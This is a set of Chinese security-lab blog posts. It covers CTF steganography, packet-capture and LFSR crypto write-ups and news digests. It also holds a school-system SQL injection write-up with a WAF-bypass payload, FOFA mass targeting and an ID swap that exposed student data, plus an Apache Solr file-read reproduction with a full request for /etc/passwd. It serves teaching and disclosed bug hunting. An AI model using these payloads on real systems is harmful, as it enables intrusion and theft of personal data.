你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 在一次edusrc挖掘中，发现了一个系统，对于学校来讲算是及其重要的一个系统，其中部署这大批量的教师+学生信息 同时这个功能点的验证码可以被绕过，拦截重放Intruder进行BP爆破，献上我的大字典并没有任何结果，阿巴阿巴.... 爆破无法成功，尝试一波sql注入，照理来讲这种子域下重要的系统应该会有waf等一系列防护操作，即使这样还是需要试试。上来一个admin’ 发现报错。笃定大概率有sql，还是iis搭建的 尝试利用admin’ or ‘1’=’1 密码123456手法 来嗅探系统中是否存在密码为123456的用户，当我开心敲下空格，阿巴阿巴.... 有限制 尝试绕waf，发现当 or 两侧拥有空格时，or这个关键字会被waf拦截，当尝试使用/**/注释符来绕过时发现依旧会产生报错，或许可能是对于等于号进行了限制，利用LIKE尝试，依旧是提示检测到非法字符 从上文的报错可以知道是用的iis7.5搭建，mssql数据库，内敛注释仅被mysql解析，多次FUZZ发现是对于//注释符进行了过滤，那么就在//中任意添加字符串，这边还有前端长度限制，直接F12改maxlength值，同时此系统的应该是没有存在123456密码的用户。换种思路，能来证明其存在注入，让其报错 返回服务器版本信息。 Payload:whskxk'/!&/or/!&/convert(int,@@version)=1/!&/AND/!&/'1'LIKE'1 成功返回服务器版本信息 已经知道此类系统存在SQL 用fofa进行查找 进入其它系统来寻找后台漏洞，发现存在68个类似使用此系统的学校 发现一处可以进入的学校，打入payload 密码123456 当我们利用payload进入系统的时候，发现存在两个功能点，第一个是权限较低的用户，第二个是管理员用户，当点击此功能点的时候 会发现下面有一个地址携带敏感的工号（这个之前在两个功能点都进去之后，没有莫得特别严重的漏洞，回过头来摸索的时候发现的。挖洞讲究的是细心+耐心） 感觉有戏，打开无痕模式 复制此URL，同时将Userid的值修改成admin。 我德西玛 精神小伙，虎躯一震，揉揉眼睛。全校学生个人信息到手，教师的个人信息也同时到手。其家庭成员信息也到手,阿巴巴阿巴.... 回想FOFA搜集到的资产+未授权访问.... EDUSRC冲分！！！ GOGOGO!!! 涉及漏洞均已提交EDUSRC，同时涉及院校都已积极修复响应。遵守网络安全！共筑美好社会! 你想在靶场学习CTF技术吗？

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Solarwinds 发布更新修复新的严重漏洞 https://www.securityweek.com/new-code-execution-flaws-solarwinds-orion-platform 2、OpenSSL 发布1.1.1k修补了两个高危漏洞 https://www.securityweek.com/openssl-111k-patches-two-high-severity-vulnerabilities 3、黑客开始利用Thrive Theme WordPress插件中的最新漏洞 https://www.securityweek.com/hackers-start-exploiting-recent-vulnerabilities-thrive-theme-wordpress-plugins 4、Mamba Ransomware利用DiskCryptor进行加密 https://www.securityweek.com/mamba-ransomware-leverages-diskcryptor-encryption-fbi-warns 5、3000万美国人受Astoria公司数据泄露的影响 https://securityaffairs.co/wordpress/115934/breaking-news/astoria-company-data-leak.html 6、Microsoft修复Windows PSExec特权提升漏洞 https://www.bleepingcomputer.com/news/security/microsoft-fixes-windows-psexec-privilege-elevation-vulnerability 7、英国服装零售商Fat Face遭黑客入侵数据泄露 https://www.inforisktoday.com/british-clothing-retailer-fat-face-discloses-data-breach-a-16249 8、安全机构在互联网上的Exchange中检测到数十万个Webshell https://searchsecurity.techtarget.com/news/252498373/Nearly-100000-web-shells-detected-on-Exchange-servers 9、XcodeSpy 通过Xcode项目传播恶意软件 https://cyware.com/news/trojanized-xcode-project-spreads-macos-malware-1a2f1982 10、Slack Connect DM新功能存在安全隐患 https://www.securityweek.com/new-slack-connect-dm-feature-raises-security-concerns

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  最近遇到一个CTF题目，上面就一张图片是什么？啥都看不出来。今天来看一下CTF图片隐写题目，在图片里面隐藏一些不为人知的flag呢？ 本次实验的地址为：《CTF Stegano练习之隐写6》。 首先来看题目。在实验主机上的C:\Stegano\6目录下提供了pic1.jpg以及pic2.jpg两个文件，请对这两文件进行分析，找到一个由两个英文单词组成的字符串Flag。 这两张图看起来都感觉都差不多全是黑白像素点，怎么去找flag呢？ 这里有一个神器StegSolve，使用StegSolve提取Flag打开桌面上的StegSolve，然后选择菜单项“File”、“Open”打开pic1.jpg，然后选择菜单项“Analyse”、“Image Combiner”选择pic2.jpg文件，默认的XOR操作就可以看到Flag了，如图所示： 经过简单的分析，我们发现两个图片的尺寸都是300*300，而且文件大小都是71.6KB，所以就不可能存在某一个文件中隐藏了额外的数据的情况了。那么我们可以对两个文件进行结合分析，即将两个文件的像素RGB值进行XOR、ADD、SUB等操作，看看是否能看到有用的信息。而StegSolve可以十分方便的实现这些操作。 但是使用工具也有一点不好，就是工作的扩展性几乎为零，不能进行批量的自动化处理，而对于自己编写的脚本，自然可以十分方便的进行扩展，可以根据实际需求进行各种定制，并进行批量的自动化处理等。 对于这类题目强烈推荐使用Python的PIL库，脚本“C:\Stegano\6\xorImg.py”的源代码如下： #!/usr/bin/env python # -- coding:utf-8 -- from PIL import Image def loadImage(filename): img = Image.open(filename) width, height = img.size img = img.convert("RGB") pixel = img.load() return width, height, pixel def combineImage(file1, file2, file3): w1, h1, p1 = loadImage(file1) w2, h2, p2 = loadImage(file2) width = min(w1, w2) height = min(h1, h2) img = Image.new("RGB", (width, height)) pix = img.load() for y in xrange(0, height): for x in xrange(0, width): r1, g1, b1 = p1[x, y] r2, g2, b2 = p2[x, y] pix[x, y] = r1^r2, g1^g2, b1^b2 img.save(file3) if name == "main": combineImage("pic1.jpg", "pic2.jpg", "pic3.jpg") 双击运行这个python脚本，就可以得到处理结果pic3.jpg，打开该图片就可以看到Flag字符串了，为AZADI TOWER。 脚本的代码比较简单，大致就是使用loadImage函数得到图片的长度、宽度、像素矩阵，然后在函数combineImage中对两个矩阵的像素点进行异或运算，并保存到第三张图片中。注意当两张图片的尺寸不一样的时候，我们进行了额外的处理，即只取最小的长度和宽度。 但是你这里只有XOR脚本，没有其他的。 下面继续来写一个通用的脚本，我们可以对该脚本进行修改，增加其可扩展的灵活性，通过定义一个运算函数实现通用的处理功能，比如我们可以定义xor、or、and三个操作的函数，就可以得到三个不同的处理结果了。脚本“C:\Stegano\6\combineImg.py”的源代码如下： #!/usr/bin/env python # -- coding:utf-8 -- from PIL import Image def xorFun(x, y): return x^y def orFun(x, y): return x|y def andFun(x, y): return x&y def loadImage(filename): img = Image.open(filename) width, height = img.size img = img.convert("RGB") pixel = img.load() return width, height, pixel def combineImage(file1, file2, file3, func): w1, h1, p1 = loadImage(file1) w2, h2, p2 = loadImage(file2) width = min(w1, w2) height = min(h1, h2) img = Image.new("RGB", (width, height)) pix = img.load() for y in xrange(0, height): for x in xrange(0, width): r1, g1, b1 = p1[x, y] r2, g2, b2 = p2[x, y] pix[x, y] = func(r1,r2), func(g1,g2), func(b1,b2) img.save(file3) if name == "main": combineImage("pic1.jpg", "pic2.jpg", "xor.jpg", xorFun) combineImage("pic1.jpg", "pic2.jpg", "or.jpg", orFun) combineImage("pic1.jpg", "pic2.jpg", "and.jpg", andFun) 这个题目不仅仅要会代码，重要的是从题目中找出隐写信息。因为题目有一定难度，才导致CTF比赛这么有竞争力。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  漏洞简介 Apache Solr是一个开源搜索服务引擎，默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。 本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECIDde9d-11f0-4ac2-921f-b04f7e137c75 （Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的，提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。） 影响版本 solr任意版本 环境搭建 漏洞环境下载： https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz解压后进入bin目录，启动（需要java环境）， ./solr start 此时启动的solr是没有核心进行索引和搜索的，创建一个节点（核心） ./solr create -c test 访问：http://ip:8983可以看到创建的核心 实际场景下可以看到会有很多核心 漏洞复现 启用远程流传输 访问http://ip:8983/solr/test/config/抓包，将请求包修改为POST请求，修改Content-Type为“application/json”，发送以下数据： {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 即可开启远程流。 读取文件 引入远程流，将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/http://www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件 POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.74.139:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd 漏洞修复 （官方不承认这是漏洞.jpg） 因为solr默认安装情况下未授权，导致可以读取任意文件，启用Apache Solr身份验证可有效缓解该漏洞的影响 配置访问控制策略，避免Apache Solr暴露在互联网 参考 https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、航空租赁公司Solairus Aviation遭受数据泄露 https://www.securityweek.com/air-charter-firm-solairus-aviation-suffers-data-breach 2、TBox RTU中漏洞可能会使工业组织遭受远程攻击 https://www.securityweek.com/vulnerabilities-tbox-rtus-can-expose-industrial-organizations-remote-attacks 3、霍尼韦尔表示IT系统遭恶意软件破坏 https://www.securityweek.com/honeywell-says-malware-disrupted-it-systems 4、思科修复了Cisco Jabber客户端软件中的严重漏洞 https://securityaffairs.co/wordpress/115931/security/cisco-jabber-critical-flaw.html 5、外汇经纪商FBS泄露数百万用户详细数据 https://securityaffairs.co/wordpress/115925/data-breach/fbs-data-breach.html 6、选举前，黑客泄露了数百万以色列选民的详细信息 https://securityaffairs.co/wordpress/115918/hacking/israeli-voters-leak.html 7、微软透露全球92% Exchange已得到修补或缓解 https://securityaffairs.co/wordpress/115896/security/microsoft-exchange-patched.html 8、TrickBot利用网络钓鱼加速传播 https://cyware.com/news/trickbot-spreading-actively-launches-phishing-schemes-ba2f050b 9、服务器制造商Stratus Technologies遭勒索软件攻击 https://www.bleepingcomputer.com/news/security/high-availability-server-maker-stratus-hit-by-ransomware/ 10、美国保险公司CNA遭网络攻击导致网络中断 https://www.securityweek.com/insurer-cna-says-cyberattack-caused-network-disruption

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  CTF套路千千万，今天来看看流量分析。 本次实验题目地址：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。 先来看题，给定的secret文件没有扩展名，我们需要先弄清楚文件的具体格式信息，才好进行更进一步的分析操作，这里使用TrID工具来对其进行识别。打开cmd命令提示符，切换到C:\Stegano\5目录，使用TrID对secret进行识别，如图所示： PCAP文件，这种类型的文件通常为网络通信流量抓包文件，可以使用Wireshark进行分析。我们给文件加上.pcap扩展名，然后使用Wireshark将其打开，就可以看到网络通信数据了，如图所示： 372条通信记录，算是很少很少的了，我们先看一下协议类型，除了TCP和UDP协议之外，更具体的协议大概有：TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析，以FTP协议为例，选中一条FTP通信记录，然后单击右键，在菜单中选择“Follow TCP Stream”，我们看到的信息如图所示： 其中有一个hello.txt文件以及super_secret_message.png文件，这两个文件看起来比较可疑。 我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中，因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析，我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件，现在我们需要将这两个文件的数据提取出来。 通过在Wireshark中对通信流量的分析，我们发现在包的序号为204的地方开始传送hello.txt的内容，在包的序号为312的地方开始传送super_secret_message.png的内容，如图所示： 因此我们可以在204以及312后面的数据包去找，以super_secret_message.png文件为例，我们发现序号为313的数据包的协议为FTP-DATA，选中该条记录之后，邮件选择“Follow TCP Stream”，显示方式选择“Raw”，然后选择“Save As”就可以保存这个PNG文件了，如下图所示： 打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337}，分析完毕。 老套路，还是隐写题，只是加了个流量分析，还要了解FTP协议，分析数据。找到突破口，合理的进行提取就可以事半功倍。 用实战磨练技术，加入网安实验室，1300+网安技能任你学！

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  概述: 线性反馈移位寄存器（LFSR）归属于移位寄存器（FSR）,除此之外还有非线性移位寄存器（NFSR）。移位寄存器是流密码产生密钥流的一个主要组成部分。 $GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成，如下图所示。    移位寄存器的三要素： 初始状态：由用户确定 反馈函数：$f(a_1,a_2,...,a_n)$是n元布尔函数，即函数的自变量和因变量只取0和1这两个可能值 输出序列 如果反馈函数是线性的，那么我们称其为 LFSR,如下图所示：    LFSR的输出序列{ $a_n$ }满足: $f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$ $a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$ $a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$ ..... $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 举例： 下面是一个5级的线性反馈移位寄存器，其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$  反馈函数为：$a{5+i} = a{3+i}⊕a_i$，(i = 1,2,...)可以得到输出序列为： 1001101001000010101110110001111 100110… 周期为31。 对于 n 级线性反馈移位寄存器，最长周期为$2^n-1$（排除全零）。达到最长周期的序列一般称为 m 序列 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 （本实验主要介绍了CTFCrypto练习之替换密码，通过本实验的学习，你能够了解CTF竞赛中的密码学题型，掌握凯撒密码破解方法，学会基于频率的替换密码破解方法。） 解决LFSR问题 Part(1) 2018 强网杯 Streamgame1 考点：已知反馈函数，输出序列，求逆推出初始状态 题目： from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用：判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位，bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&：参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh 考点: def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作，得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit) 题目已知条件为 flag长度为19bits,mask长度也为19bits. 由LFSR的输出序列{ $a_n$ }满足的条件: $a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...) 可知，输出值$a{n+i}$的结果与c的值相关，即题目中的mask。只有当c的值为1时，$c_1a{n+i-1},...,c_na_i$的值才可能为1 题目中mask中只有第（3，4，5，9，13，14，17，19）位为1，其余都是0(mask这里右边才是第一位，从右往左增大) 现在我们的目的就是为了求出前19位seed的值，而我们已知了seed后面输出序列的值（题目中给的附件key.txt）。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值，即： key = 0101010100111000111 现在需要计算$a{19}$的值，假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算，那么我们将得到输出值为 key[-1]=1。 因为mask中只有第（3，4，5，9，13，14，17，19）位为1，所以线性反馈函数只取这几位对应的a值 1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17]) 得1=$a{19}$^0,得到$a{19}$=1 同理：R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1，求得$a_{18}$=1 第一种方法 #python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18 第二种方法 seed值只可能是0和1构成，所以猜就行了。 from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数，每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask 第三种方法 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str Part(1) 2018 强网杯 Streamgame2 考点：已知反馈函数，输出序列，求逆推出初始状态 题目 from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key"," 解法与 2018 强网杯 Streamgame1不能说是毫不相干，简直是一m0一样 from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp Part(3) [CISCN2018]oldstreamgame 考点：和前面的题目一样都是给出输出序列和反馈函数，求seed（初始状态） 题目： flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010 exp #python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in Part(4) [De1CTF2019]Babylfsr 考点：B-M 算法 题目给了度为256的lfsr，和输出长度为504的输出序列，并提示了FLAG的特征。 在CTFWiki中有介绍道 B-M 算法：如果我们知道了长度为 2n 的输出序列，那么就可以通过构造矩阵来求出 mask,时间复杂度：$O(n^2)$ 次比特操作,空间复杂度：$O(n)$ 比特。 题目： import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas  这题中输出序列只给出了504个值，根据 B-M 算法，我们需要确定512个值 (即长度为2n的序列，n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位，可以得到 256 种 mask 可能值，用这 256 个 mask 恢复出 256 个key 值，再用限制条件筛选出 flag.  #sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000 output: flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}  上面是我关于LFSR学习的一点总结，希望对大家有所帮助，后面会介绍关于LFSR更多的知识点. 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、IDA 7.6 版本发布原生支持 Apple M1 芯片 https://www.hex-rays.com/blog/ida-7-6-released/ 2、Purple Fox恶意软件通过Windows SMB进行蠕虫传播 https://www.securityweek.com/purple-fox-malware-squirms-worm-windows 3、研究人员将新的APT组织SilverFish与SolarWinds攻击关联 https://www.securityweek.com/researchers-dive-operations-silverfish-cyber-espionage-group 4、物联网公司Sierra Wireless 遭勒索软件攻击导致停产 https://www.securityweek.com/sierra-wireless-says-ransomware-disrupted-production-manufacturing-facilities 5、Google警告Android用户已修补的漏洞正被利用 https://www.securityweek.com/recently-patched-android-vulnerability-exploited-attacks 6、MangaDex漫画网站遭网络攻击后暂时关闭 https://www.bleepingcomputer.com/news/security/mangadex-manga-site-temporarily-shut-down-after-cyberattack/ 7、Black Kingdom勒索软件针对微软Exchange服务器 https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-now-targeted-by-black-kingdom-ransomware/ 8、Flagstar银行通知客户遭勒索软件后导致SSN丢失 https://www.vice.com/en/article/xgznxw/ransomwared-bank-tells-customers-it-lost-their-ssns 9、Facebook表示在2020年10月至12月关闭了13亿虚假帐号 https://telecom.economictimes.indiatimes.com/news/facebook-says-took-down-1-3-billion-fake-accounts-in-oct-dec/81633136 10、网络犯罪分子在暗网上提供伪造的COVID-19测试结果和疫苗接种证书 https://blog.checkpoint.com/2021/03/22/a-passport-to-freedom-fake-covid-19-test-results-and-vaccination-certificates-offered-on-darknet-and-hacking-forums

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  最近学习了图片隐写与音频隐写，这次来一个组合拳练习练习。  本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。 首先对内嵌文件数据分析打开stego4.jpg文件，图片里面显示了一段文字MUSTNOTHACK，其他似乎没有什么有用的信息。 我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理，如图所示： 可以看到里面多了一个7-zip，这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢？ 从BinWalk的分析结果可以看出，J其中RAR压缩包的文件偏移地址开始与0x1B8DD，这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具，选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件，然后右键选择“定义选择块”，填入数据块的起始地址为0x1B8DD，结束地址选择“文件结尾”，单击确定就选中数据块了，右键复制数据，然后新建一个十六进制文件，将原有的数据替换为复制的数据，保存即可得到压缩包文件。操作过程如图所示： 这样就得到了一个RAR压缩包文件了。 这个压缩包里面解压出来的flag.7z居然需要密码，p3文件也被隐藏起来了，在cmd中通过dir /AH命令就可以看到，使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性，如下图所示： 播放MP3文件并不能听到什么有用的信息，我们尝试使用MP3Stego检查文件中使用隐藏了数据，使用MP3Stego的时候需要指定一个密码，这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符，首先切换到C:\tools\MP3Stego\目录，然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3，如图所示： 之后我们提取出来一个txt文件，文件内容为INEVERASKEDABOUTTHIS! 把文本内容当成压缩密码输入，得到Flag为VERYEASYSTEGO，即题目要求我们所要寻找的字符串。 用实战磨练技术，加入网安实验室，1300+网安技能任你学！

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